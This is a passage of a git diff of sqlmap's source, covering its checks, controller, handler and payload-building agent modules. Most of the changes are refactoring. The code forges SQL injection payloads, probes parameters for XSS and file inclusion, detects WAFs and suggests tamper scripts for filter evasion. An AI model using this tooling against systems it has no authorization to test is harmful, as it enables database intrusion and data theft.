to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]") - kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N').upper() != 'N' + kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True) elif result: infoMsg += "be injectable" @@ -995,19 +1062,19 @@ def _(page): value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2) payload = "%s%s%s" % (prefix, "'%s" % value, suffix) payload = agent.payload(place, parameter, newValue=payload) - page, _ = Request.queryPage(payload, place, content=True, raise404=False) + page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place if value.lower() in (page or "").lower(): infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType - infoMsg += "'%s' might be vulnerable to cross-site scripting attacks" % parameter + infoMsg += "'%s' might be vulnerable to cross-site scripting (XSS) attacks" % parameter logger.info(infoMsg) for match in re.finditer(FI_ERROR_REGEX, page or ""): if randStr1.lower() in match.group(0).lower(): infoMsg = "heuristic (FI) test shows that %s parameter " % paramType - infoMsg += "'%s' might be vulnerable to file inclusion attacks" % parameter + infoMsg += "'%s' might be vulnerable to file inclusion (FI) attacks" % parameter logger.info(infoMsg) break @@ -1093,18 +1160,18 @@ def checkDynamicContent(firstPage, secondPage): count += 1 if count > conf.retries: - warnMsg = "target URL is too dynamic. " + warnMsg = "target URL content appears to be too dynamic. " warnMsg += "Switching to '--text-only' " logger.warn(warnMsg) conf.textOnly = True return - warnMsg = "target URL is heavily dynamic" - warnMsg += ". sqlmap is going to retry the request" - logger.critical(warnMsg) + warnMsg = "target URL content appears to be heavily dynamic. " + warnMsg += "sqlmap is going to retry the request(s)" + singleTimeLogMessage(warnMsg, logging.CRITICAL) - secondPage, _ = Request.queryPage(content=True) + secondPage, _, _ = Request.queryPage(content=True) findDynamicContent(firstPage, secondPage) def checkStability(): @@ -1118,7 +1185,7 @@ def checkStability(): like for instance string matching (--string). """ - infoMsg = "testing if the target URL is stable" + infoMsg = "testing if the target URL content is stable" logger.info(infoMsg) firstPage = kb.originalPage # set inside checkConnection() @@ -1127,7 +1194,7 @@ def checkStability(): delay = max(0, min(1, delay)) time.sleep(delay) - secondPage, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False) + secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False) if kb.redirectChoice: return None @@ -1136,7 +1203,7 @@ def checkStability(): if kb.pageStable: if firstPage: - infoMsg = "target URL is stable" + infoMsg = "target URL content is stable" logger.info(infoMsg) else: errMsg = "there was an error checking the stability of page " @@ -1146,28 +1213,27 @@ def checkStability(): logger.error(errMsg) else: - warnMsg = "target URL is not stable. sqlmap will base the page " + warnMsg = "target URL content is not stable. sqlmap will base the page " warnMsg += "comparison on a sequence matcher. If no dynamic nor " warnMsg += "injectable parameters are detected, or in case of " warnMsg += "junk results, refer to user's manual paragraph " - warnMsg += "'Page comparison' and provide a string or regular " - warnMsg += "expression to match on" + warnMsg += "'Page comparison'" logger.warn(warnMsg) message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] " - test = readInput(message, default="C") + choice = readInput(message, default='C').upper() - if test and test[0] in ("q", "Q"): + if choice == 'Q': raise SqlmapUserQuitException - elif test and test[0] in ("s", "S"): + elif choice == 'S': showStaticWords(firstPage, secondPage) message = "please enter value for parameter 'string': " - test = readInput(message) + string = readInput(message) - if test: - conf.string = test + if string: + conf.string = string if kb.nullConnection: debugMsg = "turning off NULL connection " @@ -1179,12 +1245,12 @@ def checkStability(): errMsg = "Empty value supplied" raise SqlmapNoneDataException(errMsg) - elif test and test[0] in ("r", "R"): + elif choice == 'R': message = "please enter value for parameter 'regex': " - test = readInput(message) + regex = readInput(message) - if test: - conf.regex = test + if regex: + conf.regex = regex if kb.nullConnection: debugMsg = "turning off NULL connection " @@ -1209,7 +1275,7 @@ def checkString(): infoMsg += "target URL page content" logger.info(infoMsg) - page, headers = Request.queryPage(content=True) + page, headers, _ = Request.queryPage(content=True) rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) if conf.string not in rawResponse: @@ -1228,7 +1294,7 @@ def checkRegexp(): infoMsg += "the target URL page content" logger.info(infoMsg) - page, headers = Request.queryPage(content=True) + page, headers, _ = Request.queryPage(content=True) rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) if not re.search(conf.regexp, rawResponse, re.I | re.M): @@ -1256,6 +1322,9 @@ def checkWaf(): logger.critical(warnMsg) return _ + if not kb.originalPage: + return None + infoMsg = "checking if the target is protected by " infoMsg += "some kind of WAF/IPS/IDS" logger.info(infoMsg) @@ -1285,9 +1354,8 @@ def checkWaf(): if not conf.identifyWaf: message = "do you want sqlmap to try to detect backend " message += "WAF/IPS/IDS? [y/N] " - output = readInput(message, default="N") - if output and output[0] in ("Y", "y"): + if readInput(message, default='N', boolean=True): conf.identifyWaf = True if conf.timeout == defaults.timeout: @@ -1331,6 +1399,9 @@ def _(*args, **kwargs): retVal = [] for function, product in kb.wafFunctions: + if retVal and "unknown" in product.lower(): + continue + try: logger.debug("checking for WAF/IPS/IDS product '%s'" % product) found = function(_) @@ -1348,15 +1419,27 @@ def _(*args, **kwargs): retVal.append(product) if retVal: + if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower(): + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE) + os.close(handle) + with openFile(filename, "w+b") as f: + f.write(kb.wafSpecificResponse) + + message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename + message += "If you know the details on used protection please " + message += "report it along with specific response " + message += "to '%s'" % DEV_EMAIL_ADDRESS + logger.warn(message) + message = "are you sure that you want to " message += "continue with further target testing? [y/N] " - output = readInput(message, default="N") + choice = readInput(message, default='N', boolean=True) if not conf.tamper: warnMsg = "please consider usage of tamper scripts (option '--tamper')" singleTimeWarnMessage(warnMsg) - if output and output[0] not in ("Y", "y"): + if not choice: raise SqlmapUserQuitException else: warnMsg = "WAF/IPS/IDS product hasn't been identified" @@ -1387,7 +1470,7 @@ def checkNullConnection(): if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): kb.nullConnection = NULLCONNECTION.HEAD - infoMsg = "NULL connection is supported with HEAD method (Content-Length)" + infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" logger.info(infoMsg) else: page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"}) @@ -1395,11 +1478,10 @@ def checkNullConnection(): if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}): kb.nullConnection = NULLCONNECTION.RANGE - infoMsg = "NULL connection is supported with GET method (Range)" - infoMsg += "'%s'" % kb.nullConnection + infoMsg = "NULL connection is supported with GET method ('Range')" logger.info(infoMsg) else: - _, headers, _ = Request.getPage(skipRead = True) + _, headers, _ = Request.getPage(skipRead=True) if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): kb.nullConnection = NULLCONNECTION.SKIP_READ @@ -1436,7 +1518,7 @@ def checkConnection(suppressOutput=False): try: kb.originalPageTime = time.time() - page, headers = Request.queryPage(content=True, noteResponseTime=False) + page, headers, _ = Request.queryPage(content=True, noteResponseTime=False) kb.originalPage = kb.pageTemplate = page kb.errorIsNone = False @@ -1449,9 +1531,10 @@ def checkConnection(suppressOutput=False): warnMsg += "which could interfere with the results of the tests" logger.warn(warnMsg) elif wasLastResponseHTTPError(): - warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError() - warnMsg += "which could interfere with the results of the tests" - logger.warn(warnMsg) + if getLastRequestHTTPError() != conf.ignoreCode: + warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError() + warnMsg += "which could interfere with the results of the tests" + logger.warn(warnMsg) else: kb.errorIsNone = True @@ -1472,7 +1555,7 @@ def checkConnection(suppressOutput=False): return False msg = "it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] " - if readInput(msg, default="Y") not in ("n", "N"): + if readInput(msg, default='Y', boolean=True): raise SqlmapSilentQuitException else: kb.ignoreNotFound = True @@ -1481,6 +1564,10 @@ def checkConnection(suppressOutput=False): return True +def checkInternet(): + content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0] + return CHECK_INTERNET_VALUE in (content or "") + def setVerbosity(): # Cross-linked function raise NotImplementedError diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 9f459d3e3a7..b491f3bd4b8 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os import re +import time from lib.controller.action import action from lib.controller.checks import checkSqlInjection @@ -15,6 +16,7 @@ from lib.controller.checks import checkString from lib.controller.checks import checkRegexp from lib.controller.checks import checkConnection +from lib.controller.checks import checkInternet from lib.controller.checks import checkNullConnection from lib.controller.checks import checkWaf from lib.controller.checks import heuristicCheckSqlInjection @@ -52,6 +54,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapSilentQuitException +from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import ASP_NET_CONTROL_REGEX @@ -65,7 +68,6 @@ from lib.core.settings import USER_AGENT_ALIASES from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv -from thirdparty.pagerank.pagerank import get_pagerank def _selectInjection(): """ @@ -117,11 +119,11 @@ def _selectInjection(): message += "\n" message += "[q] Quit" - select = readInput(message, default="0") + choice = readInput(message, default='0').upper() - if select.isdigit() and int(select) < len(kb.injections) and int(select) >= 0: - index = int(select) - elif select[0] in ("Q", "q"): + if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0: + index = int(choice) + elif choice == 'Q': raise SqlmapUserQuitException else: errMsg = "invalid choice" @@ -141,7 +143,7 @@ def _formatInjection(inj): if inj.place == PLACE.CUSTOM_HEADER: payload = payload.split(',', 1)[1] if stype == PAYLOAD.TECHNIQUE.UNION: - count = re.sub(r"(?i)(\(.+\))|(\blimit[^A-Za-z]+)", "", sdata.payload).count(',') + 1 + count = re.sub(r"(?i)(\(.+\))|(\blimit[^a-z]+)", "", sdata.payload).count(',') + 1 title = re.sub(r"\d+ to \d+", str(count), title) vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6]) if count == 1: @@ -162,7 +164,8 @@ def _showInjections(): else: header = "sqlmap resumed the following injection point(s) from stored session" - if hasattr(conf, "api"): + if conf.api: + conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET) conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) else: data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") @@ -183,8 +186,8 @@ def _randomFillBlankFields(value): if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value): message = "do you want to fill blank fields with random values? [Y/n] " - test = readInput(message, default="Y") - if not test or test[0] in ("y", "Y"): + + if readInput(message, default='Y', boolean=True): for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal): item = match.group("result") if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item): @@ -239,11 +242,13 @@ def _saveToResultsFile(): for key, value in results.items(): place, parameter, notes = key line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) - conf.resultsFP.writelines(line) + conf.resultsFP.write(line) if not results: line = "%s,,,,%s" % (conf.url, os.linesep) - conf.resultsFP.writelines(line) + conf.resultsFP.write(line) + + conf.resultsFP.flush() def start(): """ @@ -276,6 +281,21 @@ def start(): for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: + + if conf.checkInternet: + infoMsg = "[INFO] checking for Internet connection" + logger.info(infoMsg) + + if not checkInternet(): + warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X") + dataToStdout(warnMsg) + + while not checkInternet(): + dataToStdout('.') + time.sleep(5) + + dataToStdout("\n") + conf.url = targetUrl conf.method = targetMethod.upper() if targetMethod else targetMethod conf.data = targetData @@ -305,7 +325,9 @@ def start(): message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" - kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' + + kb.skipVulnHost = readInput(message, default='Y', boolean=True) + testSqlInj = not kb.skipVulnHost if not testSqlInj: @@ -319,7 +341,7 @@ def start(): if conf.forms and conf.method: message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl) else: - message = "URL %d:\n%s %s%s" % (hostCount, HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") + message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl) if conf.cookie: message += "\nCookie: %s" % conf.cookie @@ -332,9 +354,13 @@ def start(): continue message += "\ndo you want to test this form? [Y/n/q] " - test = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if not test or test[0] in ("y", "Y"): + if choice == 'N': + continue + elif choice == 'Q': + break + else: if conf.method != HTTPMETHOD.GET: message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) @@ -352,21 +378,14 @@ def start(): parseTargetUrl() - elif test[0] in ("n", "N"): - continue - elif test[0] in ("q", "Q"): - break - else: message += "\ndo you want to test this URL? [Y/n/q]" - test = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if not test or test[0] in ("y", "Y"): - pass - elif test[0] in ("n", "N"): + if choice == 'N': dataToStdout(os.linesep) continue - elif test[0] in ("q", "Q"): + elif choice == 'Q': break infoMsg = "testing URL '%s'" % targetUrl @@ -543,9 +562,8 @@ def start(): msg = "%s parameter '%s' " % (injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " - test = readInput(msg, default="N") - if test[0] not in ("y", "Y"): + if not readInput(msg, default='N', boolean=True): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) @@ -565,11 +583,11 @@ def start(): errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" raise SqlmapNoneDataException(errMsg) else: - errMsg = "all tested parameters appear to be not injectable." + errMsg = "all tested parameters do not appear to be injectable." if conf.level < 5 or conf.risk < 3: - errMsg += " Try to increase '--level'/'--risk' values " - errMsg += "to perform more tests." + errMsg += " Try to increase values for '--level'/'--risk' options " + errMsg += "if you wish to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." @@ -592,15 +610,9 @@ def start(): if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " - errMsg += "strongly advised to continue on with the tests. " - errMsg += "Please, consider usage of tampering scripts as " - errMsg += "your target might filter the queries." - - if not conf.string and not conf.notString and not conf.regexp: - errMsg += " Also, you can try to rerun by providing " - errMsg += "either a valid value for option '--string' " - errMsg += "(or '--regexp')." - elif conf.string: + errMsg += "strongly advised to continue on with the tests." + + if conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " @@ -613,8 +625,8 @@ def start(): if not conf.tamper: errMsg += " If you suspect that there is some kind of protection mechanism " - errMsg += "involved (e.g. WAF) maybe you could retry " - errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')" + errMsg += "involved (e.g. WAF) maybe you could try to use " + errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" raise SqlmapNotVulnerableException(errMsg.rstrip('.')) else: @@ -629,9 +641,7 @@ def start(): if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " - exploit = readInput(message, default="Y") - - condition = not exploit or exploit[0] in ("y", "Y") + condition = readInput(message, default='Y', boolean=True) else: condition = True @@ -644,17 +654,18 @@ def start(): logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" - test = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if not test or test[0] in ("y", "Y"): - pass - elif test[0] in ("n", "N"): + if choice == 'N': return False - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException else: raise + except SqlmapSkipTargetException: + pass + except SqlmapUserQuitException: raise diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 9ad69da7378..988efd12c1c 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,14 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.data import conf from lib.core.data import kb -from lib.core.data import logger from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.settings import MSSQL_ALIASES @@ -71,16 +70,21 @@ def setHandler(): (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), ] - _ = max(_ if (Backend.getIdentifiedDbms() or "").lower() in _[1] else None for _ in items) + _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items) if _: items.remove(_) items.insert(0, _) for dbms, aliases, Handler, Connector in items: - if conf.dbms and conf.dbms.lower() != dbms and conf.dbms.lower() not in aliases: - debugMsg = "skipping test for %s" % dbms - logger.debug(debugMsg) - continue + if conf.forceDbms: + if conf.forceDbms.lower() not in aliases: + continue + else: + kb.dbms = conf.dbms = conf.forceDbms = dbms + + if kb.dbmsFilter: + if dbms not in kb.dbmsFilter: + continue handler = Handler() conf.dbmsConnector = Connector() @@ -102,11 +106,13 @@ def setHandler(): else: conf.dbmsConnector.connect() - if handler.checkDbms(): + if conf.forceDbms == dbms or handler.checkDbms(): if kb.resolutionDbms: conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]() else: conf.dbmsHandler = handler + + conf.dbmsHandler._dbms = dbms break else: conf.dbmsConnector = None diff --git a/lib/core/__init__.py b/lib/core/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/core/agent.py b/lib/core/agent.py index 40c3e952615..ac41aadc201 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -36,10 +36,10 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import BOUNDED_INJECTION_MARKER -from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import GENERIC_SQL_COMMENT +from lib.core.settings import INFERENCE_MARKER from lib.core.settings import NULL from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import REPLACEMENT_MARKER @@ -63,7 +63,7 @@ def payloadDirect(self, query): if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE) _, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query) - for field in fieldsToCastStr.split(","): + for field in fieldsToCastStr.split(','): query = query.replace(field, self.nullAndCastField(field)) if kb.tamperFunctions: @@ -97,32 +97,33 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N paramString = conf.parameters[place] paramDict = conf.paramDict[place] origValue = getUnicode(paramDict[parameter]) + newValue = getUnicode(newValue) if newValue else newValue if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue: paramString = origValue if place == PLACE.URI: - origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] + origValue = origValue.split(kb.customInjectionMark)[0] else: origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0) origValue = origValue[origValue.rfind('/') + 1:] - for char in ('?', '=', ':'): + for char in ('?', '=', ':', ','): if char in origValue: origValue = origValue[origValue.rfind(char) + 1:] elif place == PLACE.CUSTOM_POST: paramString = origValue - origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] + origValue = origValue.split(kb.customInjectionMark)[0] if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = origValue.split('>')[-1] elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): - origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)\s*(?P[^"\[,]+\Z)', origValue) + origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P[^"\[,]+\Z)', origValue) else: _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" origValue = _.split('=', 1)[1] if '=' in _ else "" elif place == PLACE.CUSTOM_HEADER: paramString = origValue - origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] + origValue = origValue.split(kb.customInjectionMark)[0] origValue = origValue[origValue.find(',') + 1:] - match = re.search(r"([^;]+)=(?P[^;]+);?\Z", origValue) + match = re.search(r"([^;]+)=(?P[^;]*);?\Z", origValue) if match: origValue = match.group("value") elif ',' in paramString: @@ -131,12 +132,14 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if header.upper() == HTTP_HEADER.AUTHORIZATION.upper(): origValue = origValue.split(' ')[-1].split(':')[-1] + origValue = origValue or "" + if value is None: if where == PAYLOAD.WHERE.ORIGINAL: value = origValue elif where == PAYLOAD.WHERE.NEGATIVE: if conf.invalidLogical: - match = re.search(r'\A[^ ]+', newValue) + match = re.search(r"\A[^ ]+", newValue) newValue = newValue[len(match.group() if match else ""):] _ = randomInt(2) value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1) @@ -159,17 +162,16 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N newValue = self.cleanupPayload(newValue, origValue) if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): - _ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR) + _ = "%s%s" % (origValue, kb.customInjectionMark) if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString: newValue = '"%s"' % newValue elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString: newValue = "'%s'" % newValue - newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER) + newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER) retVal = paramString.replace(_, self.addPayloadDelimiters(newValue)) - retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR) + retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark) elif BOUNDED_INJECTION_MARKER in paramDict[parameter]: - _ = "%s%s" % (origValue, BOUNDED_INJECTION_MARKER) - retVal = "%s=%s" % (re.sub(r" (\#\d\*|\(.+\))\Z", "", parameter), paramString.replace(_, self.addPayloadDelimiters(newValue))) + retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue)) elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: @@ -206,16 +208,6 @@ def _(pattern, repl, string): return retVal - def fullPayload(self, query): - if conf.direct: - return self.payloadDirect(query) - - query = self.prefixQuery(query) - query = self.suffixQuery(query) - payload = self.payload(newValue=query) - - return payload - def prefixQuery(self, expression, prefix=None, where=None, clause=None): """ This method defines how the input expression has to be escaped @@ -296,7 +288,7 @@ def suffixQuery(self, expression, comment=None, suffix=None, where=None): elif suffix and not comment: expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER) - return re.sub(r"(?s);\W*;", ";", expression) + return re.sub(r";\W*;", ";", expression) def cleanupPayload(self, payload, origValue=None): if payload is None: @@ -316,9 +308,10 @@ def cleanupPayload(self, payload, origValue=None): payload = payload.replace(_, randomStr()) if origValue is not None and "[ORIGVALUE]" in payload: + origValue = getUnicode(origValue) payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) - if "[INFERENCE]" in payload: + if INFERENCE_MARKER in payload: if Backend.getIdentifiedDbms() is not None: inference = queries[Backend.getIdentifiedDbms()].inference @@ -330,7 +323,7 @@ def cleanupPayload(self, payload, origValue=None): else: inferenceQuery = inference.query - payload = payload.replace("[INFERENCE]", inferenceQuery) + payload = payload.replace(INFERENCE_MARKER, inferenceQuery) elif not kb.testMode: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" @@ -346,6 +339,12 @@ def adjustLateValues(self, payload): if payload: payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) + for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): + payload = payload.replace(_, str(randomInt())) + + for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): + payload = payload.replace(_, randomStr()) + return payload def getComment(self, request): @@ -363,7 +362,7 @@ def hexConvertField(self, field): rootQuery = queries[Backend.getIdentifiedDbms()] hexField = field - if 'hex' in rootQuery: + if "hex" in rootQuery: hexField = rootQuery.hex.query % field else: warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() @@ -452,7 +451,7 @@ def nullCastConcatFields(self, fields): @rtype: C{str} """ - if not Backend.getDbms(): + if not Backend.getIdentifiedDbms(): return fields if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields): @@ -748,13 +747,13 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, if fromTable and query.endswith(fromTable): query = query[:-len(fromTable)] - topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I) + topNumRegex = re.search(r"\ATOP\s+([\d]+)\s+", query, re.I) if topNumRegex: topNum = topNumRegex.group(1) query = query[len("TOP %s " % topNum):] unionQuery += "TOP %s " % topNum - intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I) + intoRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I) if intoRegExp: intoRegExp = intoRegExp.group(1) @@ -802,7 +801,7 @@ def limitCondition(self, expression, dump=False): stopLimit = None limitCond = True - topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) + topLimit = re.search(r"TOP\s+([\d]+)\s+", expression, re.I) limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) @@ -857,7 +856,7 @@ def limitCondition(self, expression, dump=False): if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0: _ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) else: - _ = expression.index("LIMIT ") + _ = re.search(r"\bLIMIT\b", expression, re.I).start() expression = expression[:_] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): @@ -950,7 +949,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] - notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I) + notDistincts = re.findall(r"DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I) for notDistinct in notDistincts: limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct) @@ -967,7 +966,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num) forgeNotIn = False else: - topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1) + topNum = re.search(r"TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1) limitedQuery = limitedQuery.replace("TOP %s " % topNum, "") if forgeNotIn: @@ -983,7 +982,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitedQuery += "NOT IN (%s" % (limitStr % num) limitedQuery += "%s 